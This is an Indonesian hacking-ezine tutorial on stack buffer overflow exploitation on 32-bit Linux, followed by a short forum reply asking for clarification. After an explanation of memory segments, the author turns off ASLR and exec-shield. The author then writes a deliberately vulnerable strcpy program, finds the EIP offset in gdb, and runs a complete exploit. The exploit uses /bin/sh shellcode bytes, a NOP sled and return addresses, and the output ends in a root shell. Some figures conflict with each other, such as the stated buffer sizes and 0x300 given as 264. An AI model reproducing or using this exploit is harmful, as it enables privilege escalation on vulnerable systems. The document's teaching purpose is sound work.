Eksploitasi Stack di Linux

[mywisdom]

DEVILZCODE EZINE

special thanks: kiddies, gunslinger, fly666,petimati, v3n0m,cakill,lingga,
bloodies, cimuth,zombie, setanmuda, aurel666,stardust,angela zhang,
c0li,dll

Eksploitasi Stack di Linux
Penulis: mywisdom (mywisdom@jasakom.org)

===// Forewords \\===
Kali ini kita akan membahas tentang 2 teknik eksploitasi lokal yang
terkenal di linux yaitu stack buffer overflow (untuk heap buffer overflow
akan saya lanjutkan lain waktu)
. Eksploitasi buffer overflow umumnya digunakan
untuk mengeksploitasi kelemahan di dalam software yang memiliki inputan di
mana panjang string input tidak divalidasi sedangkan eksploitasi
Kedua teknik eksploitasi di atas bisa dimanfaatkan seorang user untuk
mengeksekusi
arbitrary command di sistem yang dieksploitasi ataupun hanya untuk membuat
aplikasi crash.
Apa yang diperlukan untuk artikel ini ?
- Pengetahuan Dasar - Dasar Pemrograman c dan assembly 32 bit (tidak
mutlak)
- Tool-tool: gcc , gdb, objdump
- OS : linux
Jargon-jargon dalam artikel ini:
- eip : register yang mengindikasikan perintah apa yang akan dieksekusi
selanjutnya (return address)
- esp : register yang menyimpan alamat stack frame berikut yang akan
dieksekusi


===// Sekilas Tentang Manajemen Memori di Linux \\===
Untuk membantu pemahaman tentang teknik-teknik eksploitasi berikut ini
akan kita bahas sedikit tentang memori manajemen di linux.

Segmentasi Memori
Di linux, setiap proses atau program yang sedang dieksekusi dibagi bagi ke
dalam segmen-segmen di dalam memori.

* Segmen-Segmen Program di Dalam Memori

Ketika suatu program yang sedang dieksekusi dimuat ke memori, program itu
akan dibagi menjadi .section yaitu:

- Segmen .text
Bagian kode-kode eksekusi program utama yang akan diload ke memori, di
mana section ini merupakan read only

-Segmen .data
Bagian ini merupakan bagian untuk pendeklarasian variabel dengan ukuran
yang sudah fix.


-Segmen .bss
Bagian ini merupakan bagian deklarasi variabel yang tidak diisi. misal:



int a;


Untuk lebih jelasnya silahkan perhatikan kode assembly 32 bit ini:



;---------------------section data dimulai di sini------------
section .data
hello: db 'Hello world!',10 ; 'Hello world!' plus linefeed
character
helloLen: equ $-hello ; Panjang string 'Hello world!'
;---------------------akhir dari .data section-----------------------

;--------------.text section dimulai di sini------------------------------
section .text
global _start
_start:
mov eax,4 ; Sycall nomor 4 (write)
mov ebx,1 ; File descriptor 1 - standard output
mov ecx,hello ; Masukkan offset hello ke register ecx
mov edx,helloLen ; register edx diisi dengan panjang string
hellolen
int 80h ; Jalankan syscall

mov eax,1 ; persiapan pemanggilan syscall nomor 1
register eax diisi 1 hex
mov ebx,0 ; keluar program dengan return code 0
int 80h
;----------------------akhir dari .text section------------------



di dalam program di atas .bss tidak ada karena tidak ada variabel kosong


- Segmen Heap
Bagian ini digunakan untuk mengalokasikan variabel dinamis. Bagian ini
berkembang dari alamat memori yang lebih rendah ke alamat memori
yang lebih tinggi. Bagian ini merupakan bagian yang akan kita

-Segmen Stack
Bagian stack bekerja dengan metode LIFO (Data yang Terakhir Masuk akan
Keluar Duluan), Bagian ini berkembang dari alamat memori yang lebih tinggi
ke alamat memori yang lebih rendah. Fungsi bagian ini adalah untuk
menyimpan argumen argumen program, jumlah argumen.
Misal kita menjalankan program dengan argumen :


./darkjumper.py -t http://www.jasakom.com


maka data akan disimpan ke dalam stak seperti ilustrasi ini:




| 3 | -> merupakan jumlah argumen termasuk nama program
(argc)</td></tr>
|darkjumper.py | -> argv[0]-> nama program
|-t |-> argv[1]
|www.jasakom.com|-> argv[2]

* Istilah Buffer
Merupakan istilah untuk penyimpanan data string sampai waktunya ditangani
oleh proses.
Untuk bagian memori manajemen ini tidak akan saya bahas panjang lebar,
karena bukan merupakan topik bahasan utama tapi hanya
untuk membantu dalam pemahaman 2 jenis eksploitasi yang akan kita lakukan
nanti.

* Eksploitasi Stack (Stack Based Buffer Overflow)

Eskploitasi jenis ini memanfaatkan kelemahan pada fungsi program yang
tidak memeriksa panjang string yang diinput yang akan dimasukkan
ke stack. Berikut ini beberapa fungsi yang berbahaya jika sampai ada
kesalahan pemrograman

strcpy()
gets()
sprintf()
strcat()
streadd()
strecpy()
strtrns()
index()
fscanf()
scanf()
sscanf()
vsprintf()
realpath()
getopt()
getpass()



Sebelum mulai Anda harus memastikan proteksi dari eksploitasi stack
dimatikan di sistem Anda, caranya ketikkan ini sebagai root:
echo "0" > /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/exec-shield
echo "0" > /proc/sys/kernel/exec-shield-randomize
* keterangan : 1 = proteksi randomize pointer esp aktif, 0=proteksi
randomize pointer esp=false

Ok mari kita coba buat suatu program yang vulnerable dalam operasi
penyimpanan ke stack:


//stackbof.c
#include <string.h>
#include <stdio.h>
fungsi_yang_vulner(char *temp1, char * temp2)
{
char bufer[400];
strcpy(bufer,temp2);
printf("Isian data: %s %s\n",temp1,temp2);
}

int main(int argc, char * argv[])
{
fungsi_yang_vulner(argv[1],argv[2]);
printf("Isian data Anda: %s %s \n",argv[1],argv[2]);
}



Lalu Kompile dengan gcc:


gcc -o stackbof stackbof.c



Dari kode program di atas ada kesalahan yang memungkinkan untuk kita
eksploitasi, coba perhatikan kode-kode ini:
char buff[1024];
dan
strcpy(bufer,temp2);

strcpy akan menyalin argumen program ke dua (argv[2]) ke stack buffer
tanpa validasi panjang string.

Ok selanjutnya mari kita sengaja manfaatkan kesalahan kode program tadi
untuk mengeksploitasi stack dengan mengirimkan inputan melebihi kapasitas
buffer, ketikkan ini dari linux shell Anda:


./stackbof argumen1 `perl -e 'print "A"x405'`



Hasil dari eksekusi program dengan argumen di atas akan menyebabkan pesan
segmentation fault karena buffer yang ukuranya hanya 100 bytes
menerima salinan string dengan kapasitas yang melebihi buffer sehingga
terjadilah yang namanya buffer overflow.

Untuk menganalisis kesalahan program kita jalankan gdb:


gdb -q stackbof



Analisis dengan gdb di mana program dirun dengan argumen " `perl -e 'print
"A"x1040'`" :


# gdb -q stackbof
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) run argumen1 `perl -e 'print "A"x400'`
Starting program: /root/sploits/eksperimen/ezine/stackbof argumen1 `perl
-e 'print "A"x400'`
Isian data: argumen1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA​AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Isian data Anda: argumen1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA​AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x08048423 in main ()
(gdb)




terlihat terjadi kesalahan program karena tidak adanya pengecekan panjang
string yang masuk ke stack.

Selanjutnya mari kita lihat apa pada register eip dengan mengetikkan :
info reg eip



(gdb) info reg eip
eip 0x8048423 0x8048423 <main+89>
(gdb)



Untuk melihat semua info register setelah terjadinya stack buffer overflow
bisa dengan mengetikkan :


info registers



Belum terlihat register EIP bisa dioverwrite dengan string A kita (0x41)


Langkah selanjutnya untuk melanjutkan eksploitasi adalah mencari pada
panjang inputan string ke berapa
register eip mulai bisa dioverwrite secara penuh.

Karena besarnya buffer di kode program c dia atas adalah 400 maka kita
lanjutkan debug program dengan menaikkan inputan string menjadi 401 buah
karakter huruf A


(gdb) run argumen1 `perl -e 'print "A"x401'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/sploits/eksperimen/ezine/stackbof argumen1 `perl
-e 'print "A"x401'`
Isian data: argumen1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA​AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Isian data Anda: argumen1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA​AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x08048423 in main ()
(gdb)



Ternyata isi eip belum terpengaruh, mari kita naikkan lagi ke panjang
input sejumlah 402


(gdb) run argumen1 `perl -e 'print "A"x402'`
Starting program: /root/sploits/eksperimen/ezine/stackbof argumen1 `perl
-e 'print "A"x402'`
Isian data: argumen1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA​AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Isian data Anda: argumen1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA​AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0804841d in main ()
(gdb)




Dan seterusnya sampailah kita pada nilai jumlah inputan karakter yang
mempengaruhi register EIP:


(gdb) run argumen1 `perl -e 'print "A"x408'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/sploits/eksperimen/ezine/stackbof argumen1 `perl
-e 'print "A"x408'`
Isian data:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA​AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)



Ya akhirnya kita dapatkan bahwa register eip mulai teroverwrite pada
jumlah inputan karakter sebesar 408

Dan pada saat user melakukan inputan string sejumlah 408 EIP dioverwrite
secara penuh:

Ok Selanjutnya adalah mencari nilai stack pointer untuk perhitungan return
address.(jangan lupa mematikan proteksi randomize stack pointer di kernel
Anda)


//program ini berfungsi mendapatkan alamat memori stack pointer
//sp.c
#include <stdio.h>
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}

int main()
{
printf ("Nilai Stack Pointer: 0x%x\n", get_sp());
}


Kompile : gcc -o sp sp.c

(sebelumnya jangan lupa untuk mematikan proteksi random pointer esp)

Lalu run untuk mendapatkan alamat memori stack pointer:


./sp
Nilai Stack Pointer: 0xbffff3b8



(perhatian nilai ini tidak sama di tiap mesin, kemungkinan nilai di mesin
Anda berbeda)

Selanjutnya mempersiapkan shellcode berikut ini untuk testing:


perl -e 'print
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";'>shellcode


(untuk pembuatan shellcode sudah pernah saya bahas dalam artikel lain,
silahkan Anda cari)



ok kita liat bentar isinya:

# cat shellcode
1?1????^1?FF
?
?V
?1??@??????/bin/sh
#



ooopsss bahasa planet

Selanjutnya dengan program word count kita perlu menghitung panjang
shellcode di atas:


# wc shellcode
0 3 53 shellcode



panjang shellcode adalah 53 (kolom ke 3 hasil perhitungan wc)

Ok selanjutnya kembali ke nilai alamat memori dari pointer esp kita
sebesar yang tadi: 0xbffff3b8

Kita kurangi dg perkiraan blind landing spot 300hexa (264 desimal)

0xbffff3b8-0x300=0xbffff0b8

(program bantu perhitungan hexa di linux misalnya hcalc (hexa calculator))

Selanjutnya kita encode secara endian menjadi shellcode:

\xb8\xf0\xff\xbf

(ini kita buat skenario jmp setelah arbitrary code kita (shellcode))

Ok selanjutnya perhitungan nop sled (kode assembly no operation) kali ini
kita pakai ukuran separuh dari buffer:

400 / 2 = 200

jadi panjang nop sled adalah 200

Selanjutnya mari kita adakan perhitungan selanjutnya:

408(panjang attack string di mana eip teroverwrite secara full) kita
kurangi nop sled kita 200 byte

lalu hasilnya kita bagi 4 byte menjadi nilai 38

(408-200) / 4 = 38

Selanjutnya kita mulai eksekusi eksploitasi stack kita:


bt ezine # ./stackbof mr `perl -e 'print "\x90"x200';``cat shellcode``perl
-e 'print "\xb8\xf0\xff\xbf"x38';`
Isian data: mr 1?1????^1?FF
?
?V

?1??@??????/bin/sh,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???
Segmentation fault
bt ezine #

ternyata hasilnya segmentation fault


coba kita naikkan nop sled ke 201:


bt ezine # ./stackbof mr `perl -e 'print "\x90"x201';``cat shellcode``perl
-e 'print "\xb8\xf0\xff\xbf"x38';`
Isian data: mr 1?1????^1?FF
?
?V

?1??@??????/bin/sh,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???
Segmentation fault



masih segmentation fault, jadi kita naikkan lagi ke 202:



bt ezine # ./stackbof mr `perl -e 'print "\x90"x202';``cat shellcode``perl
-e 'print "\xb8\xf0\xff\xbf"x38';`
Isian data: mr 1?1????^1?FF
?
?V

?1??@??????/bin/sh,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???
Segmentation fault


masih sama tetap segmentation fault

jadi kita brute lagi dg nop sled sepanjang 203:

bt ezine # ./stackbof mr `perl -e 'print "\x90"x203';``cat shellcode``perl
-e 'print "\xb8\xf0\xff\xbf"x38';`
Isian data: 1?1????^1?FF
?
?V

?1??@??????/bin/sh,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???,???
sh-3.1#

hasilnya berhasil mengeksekusi shellcode kita dengan mulus dan kemudian
jmp ke return address tanpa segmentation fault

Jika berhasil tampilanya seperti ini:

http://yoyoparty.com/upload//bof.jpg




Ok sekian karena terbatasnya waktu akan saya lanjutkan lain waktu dengan
eksploitasi heap buffer overflow

regards

mywisdom


.

[KataM]

Quote:Ok selanjutnya kembali ke nilai alamat memori dari pointer esp kita
sebesar yang tadi: 0xbffff3b8

Kita kurangi dg perkiraan blind landing spot 300hexa (264 desimal)

0xbffff3b8-0x300=0xbffff0b8

(program bantu perhitungan hexa di linux misalnya hcalc (hexa calculator))

Selanjutnya kita encode secara endian menjadi shellcode:

\xb8\xf0\xff\xbf

(ini kita buat skenario jmp setelah arbitrary code kita (shellcode))

omz dom,, bisa diperjelas bagian di'atas